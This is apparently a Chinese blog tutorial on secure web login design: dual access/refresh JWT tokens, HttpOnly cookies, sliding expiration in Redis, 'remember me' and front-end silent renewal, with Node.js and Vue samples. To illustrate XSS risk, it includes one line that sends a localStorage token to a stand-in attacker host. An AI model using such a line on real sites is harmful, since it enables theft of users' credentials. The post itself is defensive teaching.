安全不是功能,而是你对用户的承诺。
在开发一个现代 Web 应用时,用户登录看似是“开箱即用”的基础功能,背后却隐藏着无数安全陷阱与体验细节。很多团队为了快速上线,直接把 JWT 存进 localStorage,看似“能跑就行”,却为 XSS(跨站脚本攻击)敞开了大门;也有人看到“Refresh Token 15 分钟就过期”,立刻担心:“用户岂不是每 15 分钟就要重新登录?体验太差了!”——其实,真正的安全架构,恰恰能在保障高安全性的同时,提供近乎“永久免登”的流畅体验。
本文将系统性地拆解一套工业级认证方案,涵盖:
- ✅ 为什么必须采用双 Token(Access + Refresh)架构?
- ✅ “滑动过期”机制如何在安全与体验之间取得完美平衡?
- ✅ “记住我”功能在技术上到底改了什么?它真的延长了 Token 吗?
- ✅ 前端如何实现“无感自动续期”?背后的定时器逻辑是什么?
- ✅ “前端续期频率”究竟是什么意思?它和 Token 有效期有何关系?
- ✅ 后端如何配合管理会话生命周期?Redis 如何存储元数据?
- ✅ 如何防御 CSRF、XSS 等常见攻击?纵深防御怎么做?
无论你是前端、后端,还是全栈开发者,这篇文章都将为你提供一套可直接落地的完整方案,并深入剖析每一个技术决策背后的原理与权衡。
一、为什么不能把 Token 存在 localStorage?
先看一段“教科书式”错误代码:
// ❌ 千万别这么干!
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxx');
这种做法在早期教程中极为常见,但其安全隐患早已被业界共识:
1. XSS 攻击可直接窃取凭证
只要网站存在任意 XSS 漏洞(如富文本未转义、第三方脚本注入),攻击者即可通过:
fetch('https://attacker.com/steal?token=' + localStorage.token);
将用户完整身份凭证发送到自己的服务器。由于 localStorage 中的 Token 通常有效期长达数天甚至数周,攻击者可长期冒充用户操作。
2. 无法主动失效
一旦 Token 泄露,除非服务端强制轮换密钥(影响所有用户),否则无法单独使某个 Token 失效。而基于 Cookie 的方案可通过清除后端会话记录实现精准登出。
3. 违背最小权限原则
Token 被 JavaScript 全局可见,任何嵌入的第三方 SDK、广告脚本、甚至调试代码都可能意外泄露它。
结论:任何可被 JavaScript 读取的存储方式(localStorage、sessionStorage、普通 Cookie),都不应存放长期有效的身份凭证。
二、双 Token 架构:安全的基石
现代安全认证的核心思想是 职责分离(Separation of Concerns) :将“高频使用”和“低频续期”两种操作拆开,分别用不同策略保护。
双 Token 的角色分工
| Access Token (AT) | Refresh Token (RT) | |
|---|---|---|
| 用途 | 每次 API 请求的身份凭证 | 静默换取新的 Access Token |
| 传输方式 | Authorization: Bearer <token> | 自动随请求携带(HttpOnly Cookie) |
| 存储位置 | 前端内存(如 Pinia、Vuex、React state) | HttpOnly Cookie(JavaScript 不可见) |
| 典型有效期 | 5~10 分钟 | 单次 10~15 分钟,但可刷新 |
| 是否暴露给前端逻辑 | 是 | 否 |
| 泄露后果 | 仅能维持几分钟攻击窗口 | 若未配合 HttpOnly,则危害极大 |
为什么 Access Token 要比 Refresh Token 更短?
这是很多开发者容易忽略的关键点。假设两者都是 15 分钟,XSS 窃取 AT 后仍有 15 分钟攻击时间。但如果 AT 只有 5 分钟:
- 第 3 分钟发生 XSS → 攻击窗口仅剩 2 分钟;
- 即使攻击者立即行动,多数敏感操作(如转账二次确认)也无法完成;
- 后端无需维护黑名单,权限变更最多 5 分钟生效。
🔒 安全本质:
Access Token 的短时效,是在第一道防线(XSS 防护)被突破后,仍能限制损失的“最后保险”。
此外,短 AT 还带来工程优势:
- 无状态服务友好:无需查询数据库验证每次请求;
- 权限变更实时性高:用户被禁用后,旧 AT 很快失效;
- 符合 OAuth 2.0 RFC 6749 建议:“Access tokens SHOULD have a short lifetime”。
三、“滑动过期”:安全与体验的完美平衡
问题来了:
“Refresh Token 只有 15 分钟,用户是不是每 15 分钟就得重新登录?”
完全不会! 这就是“滑动过期”(Sliding Expiration)机制的妙处。
什么是滑动过期?
滑动过期的核心在于 区分“单次凭证有效期”和“全局会话生命周期” :
-
用户成功登录后,后端创建一个全局会话记录(如存于 Redis),设定最大存活时间(例如:普通登录 2 小时,“记住我” 30 天);
-
每次调用
/refresh接口时:- 若当前时间未超过全局会话过期时间,则生成新的短期 Refresh Token;
- 新 RT 的有效期 =
min(固定短周期, 全局剩余时间); - 全局会话过期时间不变,确保总登录时长不超过安全阈值;
-
若用户长时间不活动(如 15 分钟未刷新),则 RT 过期,需重新登录;
-
若用户持续活跃,则可保持登录长达 7 天或者更久。
✅ 效果:
- 活跃用户:7 天内无需重新登录(体验好);
- 非活跃用户:15 分钟无操作即登出(安全强);
- 凭证泄露:攻击者最多维持 15 分钟会话(风险可控)。
后端实现示例(Node.js + Redis)
const SESSION_MAX_AGE = 30 * 24 * 60 * 60; // 30天
const REFRESH_TTL = 15 * 60; // 15分钟
// 登录
app.post('/login', async (req, res) => {
const { rememberMe } = req.body;
const maxAge = rememberMe ? SESSION_MAX_AGE : 2 * 60 * 60;
const sessionId = randomBytes(32).toString('hex');
const expiresAt = Date.now() + maxAge * 1000;
await redis.setex(`session:${sessionId}`, maxAge, JSON.stringify({
userId: 'user123',
expiresAt,
isPersistent: !!rememberMe
}));
const refreshToken = jwt.sign({ sessionId }, REFRESH_SECRET, { expiresIn: REFRESH_TTL });
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'Lax',
maxAge: REFRESH_TTL * 1000,
path: '/'
});
res.json({ accessToken: generateAccessToken(), expiresIn: 300 });
});
// 刷新
app.post('/refresh', async (req, res) => {
const { sessionId } = verifyRefreshToken(req.cookies.refreshToken);
const session = await redis.get(`session:${sessionId}`);
if (!session || Date.now() >= session.expiresAt) {
return res.status(401).end();
}
// 新 RT 有效期 = min(15分钟, 全局剩余时间)
const remaining = Math.floor((session.expiresAt - Date.now()) / 1000);
const newTtl = Math.min(REFRESH_TTL, remaining);
const newRefreshToken = jwt.sign({ sessionId }, REFRESH_SECRET, { expiresIn: newTtl });
res.cookie('refreshToken', newRefreshToken, {
httpOnly: true,
maxAge: newTtl * 1000,
// ...
});
res.json({ accessToken: generateAccessToken(), expiresIn: 300 });
});
四、“记住我”功能的技术真相
很多人以为“记住我”就是把 Token 有效期设成 7 天——这是危险误解!
正确实现:
“记住我” ≠ 延长 Token 有效期,而是延长全局会话的最大生命周期。
| 场景 | 全局会话有效期 | 单次 RT 有效期 | AT 有效期 | 前端续期频率 |
|---|---|---|---|---|
| 普通登录 | 2 小时 | 15 分钟 | 5 分钟 | 每 4 分钟 |
| 勾选“记住我” | 7 天 | 15 分钟 | 5 分钟 | 每 4 分钟 |
✅ 关键点:
- RT 和 AT 的单次有效期始终不变;
- “记住我”只影响后端是否允许续期到第 7 天;
- 安全性不妥协,体验却大幅提升。
前端只需在登录时传递 rememberMe: true,后端据此选择会话策略,前端完全无感。
五、前端自动续期:让用户“感觉不到登录”
即使 AT 只有 5 分钟,用户也不会频繁登出——因为前端会提前静默刷新。
1. 被动续期(基础)
- API 返回 401 → 自动调用
/refresh→ 重试原请求。 - 缺点:用户操作会有短暂延迟或卡顿。
2. 主动续期(推荐)✅
- 登录成功后,启动定时器;
- 在 AT 到期前(如第 4 分钟)主动调用
/refresh; - 获取新 AT + 新 RT(Cookie 自动更新);
- 重置定时器,循环往复。
// Vue 3 + Pinia 示例
let refreshTimer: number | null = null;
function scheduleNextRefresh(expiresIn: number) {
if (refreshTimer) clearTimeout(refreshTimer);
// 提前 60 秒刷新(5分钟AT → 4分钟后触发)
const delay = (expiresIn - 60) * 1000;
if (delay <= 0) return;
refreshTimer = setTimeout(async () => {
try {
const res = await fetch('/refresh', {
method: 'POST',
credentials: 'include'
});
if (res.ok) {
const data = await res.json();
useAuthStore().setAccessToken(data.accessToken);
scheduleNextRefresh(data.expiresIn); // 递归调度
} else {
useAuthStore().logout();
}
} catch (e) {
useAuthStore().logout();
}
}, delay);
}
// 登录后调用
const { accessToken, expiresIn } = await login(credentials);
setAccessToken(accessToken);
scheduleNextRefresh(expiresIn);
💡 这就是“前端续期频率”的含义:
前端根据 Access Token 的expiresIn动态计算出的自动刷新时间间隔,通常为“AT 有效期 - 安全缓冲时间(如 60 秒)”。
它与 Refresh Token 的 15 分钟无关,因为前端无法读取 RT 的过期时间。
优化策略
- 活跃度检测:仅在用户近期有操作时续期;
- 页面可见性监听:切换回标签页时检查是否需立即刷新;
- 失败重试:网络失败后指数退避重试。
六、安全边界与纵深防御
即使采用上述方案,仍需配合其他防护:
1. CSRF 防护
- 设置 Cookie
SameSite=Lax(默认阻止跨站 POST); - 敏感操作(如支付)要求额外 CSRF Token;
- 避免 GET 请求修改状态。
2. XSS 防护
- 输出转义(Vue/React 默认已做);
- 内容安全策略(CSP)限制脚本来源;
- 避免
v-html/dangerouslySetInnerHTML。
3. 传输安全
- 强制 HTTPS;
- Cookie 设置
Secure标志; - HSTS 头防止降级攻击。
七、结语:安全与体验从不矛盾
通过这套组合拳:
- HttpOnly Cookie 防 XSS;
- 双 Token 时效分层 控制风险窗口;
- 滑动过期 + 全局会话 实现灵活生命周期;
- 前端自动续期 保证无缝体验;
- “记住我”仅调整策略,不动安全根基;
- 纵深防御 抵御多维攻击。
我们既满足了高强度安全要求,又提供了媲美社交 App 的登录体验。
真正的安全,是让用户感觉不到安全的存在。
如果你的项目还在用 localStorage 存 Token,是时候升级了。
因为每一次点击背后,都值得被认真守护。